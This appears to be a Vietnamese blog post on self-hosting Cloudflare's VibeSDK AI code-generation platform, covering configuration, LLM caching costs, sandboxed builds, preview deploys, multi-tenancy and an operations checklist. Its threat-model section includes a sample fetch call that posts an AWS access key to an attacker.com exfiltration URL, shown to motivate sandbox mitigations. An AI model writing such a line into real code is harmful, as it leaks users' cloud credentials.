TL;DR
- VibeSDK là open-source vibe coding platform của Cloudflare — bạn fork về và có một sản phẩm tương đương v0.dev / Bolt.new / Lovable, chạy hoàn toàn trên Cloudflare account của mình.
- Stack: Workers (orchestrator) + Workers AI hoặc bring-your-own-LLM (Claude/GPT qua AI Gateway) + Cloudflare Containers (sandbox build/preview) + R2 (artifact) + D1 (project state) + Workers for Platforms (multi-tenant deploy).
- AI Gateway caching cắt ~60% LLM cost ở workload realistic — user gõ cùng prompt “build me a todo app” hàng nghìn lần, cache hit serve free. Không có cache thì $0.05-0.20 cho mỗi generation tích tụ rất nhanh.
- Self-host wins khi: (1) privacy — code stays in your CF account, không pass qua v0/Bolt servers; (2) model choice — switch giữa Claude 4.5, GPT-5, Llama 3.3, DeepSeek mà không change UI; (3) multi-tenant — deploy cho team/customer với cost rõ ràng từng tenant.
- So với v0.dev $20/tháng + Bolt.new $20/tháng = $40/tháng cho 1 dev: tự host khoảng $30-60/tháng cho 10 dev nội bộ. ROI bật ở team ≥ 3 người.
- Đừng treat VibeSDK như product hoàn chỉnh — nó là framework. Build UX layer riêng, plug model riêng, decide sandbox security policy. Skeleton ngon nhưng cần 1-2 sprint để production-ready.
Vì sao “vibe coding” thành category 2025-2026
v0.dev (Vercel, mid-2023) là sản phẩm vibe coding đầu tiên scale lớn — gõ prompt natural language, ra component React/Tailwind, copy-paste vào project. Bolt.new (StackBlitz, 2024) đưa thêm bước full project sandbox chạy npm trong browser. Lovable (cuối 2024) thêm vòng iteration AI + Supabase integration. Tới cuối 2025, Replit Agent, Cursor’s Composer, và GitHub Spark cùng push category này.
Vấn đề tôi gặp khi dùng SaaS vibe coding cho team nội bộ:
- Code intellectual property leak: prompt + code generated pass qua server của họ. Một số case họ keep cho 30 ngày để debug.
- Model lock-in: v0 dùng GPT-4o với fine-tune Vercel; nếu bạn muốn thử Claude 4.5 trên cùng UX, không có lựa chọn.
- Cost không predict: $20/user/tháng nghe rẻ, nhưng cho team 50 dev = $1.000/tháng. Và bạn không control khi vendor tăng giá.
- Customize UX: muốn thêm step “review by senior dev before deploy”? Vendor không support.
Đầu 2026, Cloudflare release VibeSDK như reference platform để team tự build “vibe coding cho công ty mình”. Không phải UI consumer ready — nó là scaffold framework + opinionated architecture cho team build platform riêng.
Stack: 6 component Cloudflare-native
VibeSDK kiến trúc gồm:
| Component | Service Cloudflare | Vai trò |
|---|---|---|
| Code generation orchestrator | Workers + Durable Object | Mỗi project = 1 DO, giữ state generation |
| LLM gateway | AI Gateway → Workers AI / Anthropic / OpenAI | Caching, rate limit, fallback |
| Sandbox runtime | Cloudflare Containers | Build npm, preview React/Next |
| Artifact storage | R2 | Generated code, bundle output |
| Project metadata | D1 | User, project, prompt history, version |
| Preview deploy | Workers for Platforms | Mỗi project = 1 dispatched Worker |
| Static assets | Workers Assets | UI của VibeSDK chính nó |
| Session/auth | KV + Cloudflare Access | Auth qua IdP của bạn |
Đẹp ở điểm: mọi binding đều là Cloudflare native. Không Postgres, không Redis, không S3, không Lambda. Một wrangler deploy lên toàn bộ stack.
// wrangler.jsonc (rút gọn)
{
"name": "vibesdk",
"main": "src/index.ts",
"compatibility_date": "2026-02-01",
"compatibility_flags": ["nodejs_compat"],
"ai": { "binding": "AI" },
"ai_gateway": [
{ "binding": "GATEWAY", "id": "vibesdk-prod" }
],
"d1_databases": [
{ "binding": "DB", "database_name": "vibesdk", "database_id": "..." }
],
"r2_buckets": [
{ "binding": "ARTIFACTS", "bucket_name": "vibesdk-artifacts" }
],
"kv_namespaces": [
{ "binding": "SESSIONS", "id": "..." }
],
"durable_objects": {
"bindings": [
{ "name": "PROJECT", "class_name": "ProjectAgent" }
]
},
"containers": [
{
"name": "build-sandbox",
"image": "./containers/Dockerfile",
"instance_type": "standard",
"max_instances": 50
}
],
"dispatch_namespaces": [
{ "binding": "PREVIEW_DISPATCH", "namespace": "vibesdk-previews" }
]
}
dispatch_namespaces là binding của Workers for Platforms — cho phép Worker chính (vibesdk) dispatch tới sub-Worker (mỗi preview project = 1 sub-Worker). Đây là phần đắt giá nhất về architecture.
AI Gateway: caching cắt 60% cost ở workload realistic
LLM API call là phần đắt nhất của vibe coding platform. Generation trung bình cho “build me a landing page” = 4K-8K output token. Với Claude 3.5 Sonnet $3/M input + $15/M output, mỗi generation tốn $0.05-0.12. Với GPT-4o $2.5/M + $10/M, tốn $0.04-0.08.
VibeSDK gọi LLM qua AI Gateway thay vì call trực tiếp. AI Gateway provides:
- Caching — request hash giống nhau, trả response cũ. Cho prompt “build me a todo app”, hit rate tới 60-70%.
- Rate limiting — per-user, per-IP, per-project.
- Fallback — Claude fail → tự động chuyển GPT.
- Cost tracking — dashboard per app, per user.
// src/llm.ts
const response = await env.GATEWAY.run(
"anthropic/claude-sonnet-4-5",
{
messages: [
{ role: "system", content: SYSTEM_PROMPT },
{ role: "user", content: prompt },
],
max_tokens: 8000,
},
{
cacheTtl: 3600, // cache 1h cho cùng prompt
cacheKey: hashPrompt(prompt + SYSTEM_PROMPT_VERSION),
metadata: { userId, projectId },
}
);
cacheKey là deterministic — same input = same cache key. Tôi đo trên workload thử nghiệm (100 dev × 10 generation/ngày × 30 ngày = 30.000 generation):
| Pattern | Generation thực sự call LLM | Tỷ lệ cache hit | Cost |
|---|---|---|---|
| Không AI Gateway | 30.000 | 0% | $2.400 |
| AI Gateway, cache 1h | ~12.000 | 60% | $960 |
| AI Gateway, cache 24h, normalize prompt | ~9.000 | 70% | $720 |
Tiết kiệm $1.680/tháng cho team 100 dev — tức $16.80/dev/tháng. AI Gateway free tier cho 100K request/tháng, sau đó $0.20/M request — gần như không đáng kể.
Normalize prompt là trick: trước khi hash, strip whitespace + lowercase + remove timestamp/random string. “Build me a TODO app” và “build me a todo app” hash chung → hit cache.
Cloudflare Containers: sandbox build mà không cần VM
Đây là phần mới mẻ nhất của stack (Containers GA cuối 2025). Trước đó, sandbox build cho generated code phải dùng:
- Docker on Fly.io — full VM, lazy boot 3-5s, $5-15/sandbox/tháng
- WebContainers (StackBlitz) — chạy trong browser, fast nhưng limit về Node API
- AWS Fargate — boot 10-30s, $0.04/h minimum
Cloudflare Containers boot trong ~200ms, pay-per-second, integrate native với Worker. Trong VibeSDK:
// src/durable_objects/ProjectAgent.ts
async buildPreview(env: Env, code: GeneratedCode) {
// Lấy 1 container instance từ pool
const container = await env.BUILD_SANDBOX.get("build-" + this.projectId);
// Gửi code qua HTTP fetch
const res = await container.fetch("http://sandbox/build", {
method: "POST",
body: JSON.stringify({
files: code.files,
command: "npm install && npm run build",
timeout: 60_000,
}),
});
const { bundle, errors } = await res.json();
if (errors.length) {
return { status: "error", errors };
}
// Lưu bundle vào R2
await env.ARTIFACTS.put(
`projects/${this.projectId}/bundle.zip`,
bundle
);
// Dispatch preview Worker
await env.PREVIEW_DISPATCH.get(this.projectId).fetch(
"https://internal/deploy",
{ method: "POST", body: bundle }
);
return { status: "ready", url: `https://preview-${this.projectId}.example.dev` };
}
Container lifecycle ngắn — chỉ alive khi build, idle 30s thì stop, billing dừng. Cho 100 build/ngày × 30s avg × $0.000018/s = $1.62/tháng cho compute container. Cheap so với keep VM warm.
max_instances: 50 ở wrangler.jsonc là concurrency cap — tránh user spam build làm cost runaway. Set match với budget bạn chấp nhận.
Workers for Platforms: mỗi preview = 1 sub-Worker
Khi build xong, preview phải deploy somewhere. Option:
- Subdomain trên Worker chính + path routing:
vibesdk.com/preview/abc123/index.html. Đơn giản, nhưng asset path collision, không có proper isolation. - Mỗi preview = 1 Worker riêng: scale infinite (Cloudflare allow ~500 Worker/account default, có thể request raise tới 10K+).
VibeSDK chọn option 2 qua Workers for Platforms. Worker chính có binding dispatch_namespaces, có thể “deploy” Worker mới programmatically:
// src/preview-deploy.ts
async function deployPreview(env: Env, projectId: string, bundle: ArrayBuffer) {
// Upload Worker script vào namespace
await fetch(
`https://api.cloudflare.com/client/v4/accounts/${env.ACCOUNT_ID}/workers/dispatch/namespaces/vibesdk-previews/scripts/${projectId}`,
{
method: "PUT",
headers: {
Authorization: `Bearer ${env.API_TOKEN}`,
"Content-Type": "application/javascript",
},
body: bundle,
}
);
// Tạo route hoặc dispatch qua main Worker
return `https://${projectId}.preview.vibesdk.dev`;
}
Main Worker (vibesdk.dev/*) intercept request, dispatch về đúng sub-Worker:
// src/index.ts
export default {
async fetch(req: Request, env: Env) {
const url = new URL(req.url);
const match = url.hostname.match(/^([a-z0-9]+)\.preview\.vibesdk\.dev$/);
if (match) {
const projectId = match[1];
const subWorker = env.PREVIEW_DISPATCH.get(projectId);
return subWorker.fetch(req);
}
// ... main app
},
};
Workers for Platforms billing: $0.02 per million request cho dispatched script. Không có “VPS minimum cost” — preview của user nào không có traffic thì cost = 0.
So sánh self-host vs v0/Bolt: bảng quyết định
| Yếu tố | VibeSDK self-host | v0.dev | Bolt.new |
|---|---|---|---|
| Cost cho 1 user | ~$3-5/tháng (overhead) | $20/tháng | $20/tháng |
| Cost cho 10 user | ~$30-60/tháng | $200/tháng | $200/tháng |
| Cost cho 50 user | ~$200-400/tháng | $1.000/tháng | $1.000/tháng |
| Code privacy | Trong CF account của bạn | Vercel servers | StackBlitz servers |
| Model choice | Claude, GPT, Llama, DeepSeek, Grok | GPT-4o (fine-tuned) | Claude 3.5 |
| Custom UX | Code-level | Limited | Limited |
| Custom system prompt | Yes | No | No |
| RBAC / team workflow | Build it | Built-in | Built-in (Pro) |
| Preview deploy | Workers for Platforms | Vercel preview | StackBlitz WebContainer |
| Setup time | 1-2 ngày | 5 phút | 5 phút |
| Maintenance | Bạn lo update | Vendor lo | Vendor lo |
Ngưỡng ROI tôi tính: 3 dev nội bộ active. Dưới 3 thì pay v0/Bolt vẫn rẻ hơn time setup. Trên 3, đặc biệt với compliance/privacy requirement, VibeSDK là lựa chọn rõ ràng.
Threat model: user-generated code chạy ở đâu?
Generated code có thể chứa anything — kể cả intentionally malicious. Trong sandbox build:
// Generated code có thể chứa:
fetch("https://attacker.com/exfil", {
method: "POST",
body: process.env.AWS_ACCESS_KEY_ID // truy cập env vars của container
});
Mitigation VibeSDK khuyến nghị:
- Container có ZERO env var sensitive. Tất cả secret stay trong main Worker, không pass xuống container.
- Network egress allowlist. Container chỉ access
registry.npmjs.org,github.com, không reach internal IP. - Filesystem read-only ngoài
/tmp. Generated code chỉ write vào/tmp, cleanup sau build. - CPU/RAM limit —
instance_type: "standard"cho 1GB RAM, 1 vCPU. Build vượt → kill. - Build timeout 60s — vượt 60s → fail. Prevent crypto miner.
Preview Worker deploy qua Workers for Platforms cũng có isolation:
- No service binding tới main Worker: preview Worker không call API của main app.
- No D1/R2 binding mặc định: preview chỉ có gì user code define.
- Resource limit của Worker runtime: 10MB script size, 128MB memory, 30s CPU.
Threat model này là defense-in-depth — không có layer nào perfect, nhưng combine lại đủ tốt cho internal team. Cho public-facing platform (như v0.dev), cần thêm WAF, abuse detection, manual review.
Multi-tenant: cost rõ ràng từng tenant
Một trong những use case rõ nhất cho VibeSDK là white-label cho enterprise customer. Bạn build platform “AI code generator for SaaS X”, deploy mỗi customer = 1 tenant:
-- D1 schema
CREATE TABLE tenant (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
budget_monthly REAL NOT NULL, -- USD
current_spend REAL DEFAULT 0,
ai_gateway_id TEXT NOT NULL, -- mỗi tenant 1 gateway
status TEXT DEFAULT 'active'
);
CREATE TABLE user (
id TEXT PRIMARY KEY,
tenant_id TEXT NOT NULL REFERENCES tenant(id),
email TEXT NOT NULL,
role TEXT NOT NULL -- admin|developer|viewer
);
Cost per tenant đếm chính xác qua AI Gateway analytics (token in/out per gateway ID) + Workers Analytics Engine cho compute. Charge cho tenant theo cost thật + markup, không guess.
Cạm bẫy thường gặp
1. AI Gateway cache key không deterministic. Nếu prompt chứa timestamp, mỗi call key khác, cache 0% hit. Strip dynamic part trước khi hash.
2. Container instance pool exhaustion. max_instances: 50 mà 100 user build cùng lúc → 50 user fail. Queue requests qua KV hoặc DO.
3. Workers for Platforms quota. Default 500 Worker/account. Project 1.000 user × 5 preview each = 5.000 Worker — phải request quota raise sớm.
4. Dispatch namespace billing chia per request. Free tier 100K request/tháng cho dispatch. Vượt → $0.30/M. Plan cho production scale.
5. R2 egress free nhưng artifact lớn ăn storage. Bundle React/Next thường 5-15MB. 1.000 project × 15MB = 15GB = $0.225/tháng. Cheap nhưng nhân lên thì track.
6. LLM hallucinate dependency. Generated code import npm package không tồn tại. Sandbox build fail → return error cho LLM với feedback “package X not found”, iterate.
Vận hành — checklist sau khi fork
- AI Gateway có rate limit per user (10 generation/phút) tránh abuse
- Cache TTL ít nhất 1h, key normalize (lowercase, strip whitespace)
- Container không có env var sensitive — secret stay trong main Worker
- Network egress allowlist cho container (only npm registry + github)
- Build timeout cứng 60s, CPU limit 1 vCPU
- Preview Worker dispatch namespace có route prefix riêng, không chia với main
- D1 backup mỗi tuần, R2 artifact lifecycle 30 ngày tự xoá preview cũ
- Cloudflare Access bảo vệ
/admin/*route - Cost dashboard per tenant qua AI Gateway analytics
- Alert nếu cost/tenant vượt 80% budget tháng
- System prompt version trong code, increment khi change → invalidate cache
- Generated code scan với CodeQL hoặc Semgrep trước khi serve preview
- Logging: prompt + model + token in/out + cost vào Workers Analytics Engine
- Disable tenant qua KV flag nếu spam/abuse — kill switch < 5 phút
Bottom line
VibeSDK không phải drop-in replacement cho v0/Bolt cho end user — nó là framework cho team build vibe coding platform của mình. Sau khi đo cost trên workload 100 dev, AI Gateway caching alone cắt 60% LLM bill. Cloudflare Containers + Workers for Platforms làm sandbox + preview deploy trở thành “binding” thay vì “infrastructure stack riêng”.
Ngưỡng ROI vào khoảng 3-5 dev nội bộ. Dưới đó pay v0/Bolt vẫn rẻ hơn time setup. Trên đó, đặc biệt khi cần privacy hoặc multi-tenant, VibeSDK thắng rõ. Trade-off: lock-in Cloudflare stack + 1-2 sprint build UX layer. Với team có Cloudflare skill sẵn, đó là trade-off tốt nhất 2026.